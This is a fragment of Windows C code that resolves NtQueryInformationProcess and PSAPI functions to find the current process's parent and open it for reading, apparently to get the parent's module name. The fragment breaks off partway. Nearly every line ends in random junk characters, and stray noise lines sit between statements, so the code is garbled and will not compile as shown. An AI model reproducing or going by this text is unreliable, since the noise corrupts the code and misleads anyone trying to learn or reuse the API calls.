ULONG InheritedFromUniqueProcessId; (yEU9R$I"
} PROCESS_BASIC_INFORMATION; 71<4q{n
tmoclK-
PROCNTQSIP NtQueryInformationProcess; +Swl$ab
QDK }e:4q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6PWw^Cd
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P?8$VAkj
)`|`PB
HANDLE hProcess; /a}N6KUi
PROCESS_BASIC_INFORMATION pbi; Zl!
#QOb[9(Tu(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kyYU 1gfh
if(NULL == hInst ) return 0; ?u{Mz9:?HT
!qH)ttW
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^{8CShUCv
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X`E}2|q'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {~\:4
r|bGn#^
if (!NtQueryInformationProcess) return 0; #{)mr [c|
-0CL#RzKR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IY}GU 2#
if(!hProcess) return 0; %6V=G5+W
,( hP /<
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vON7~KA
`'(@"-L:7
CloseHandle(hProcess);
6|6O|
<o
$`C$|9S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cI7a TLC"s
if(hProcess==NULL) return 0; }LWrtmc
%f&Bt,xEo
HMODULE hMod; ^s=F<_{
char procName[255]; yRhD<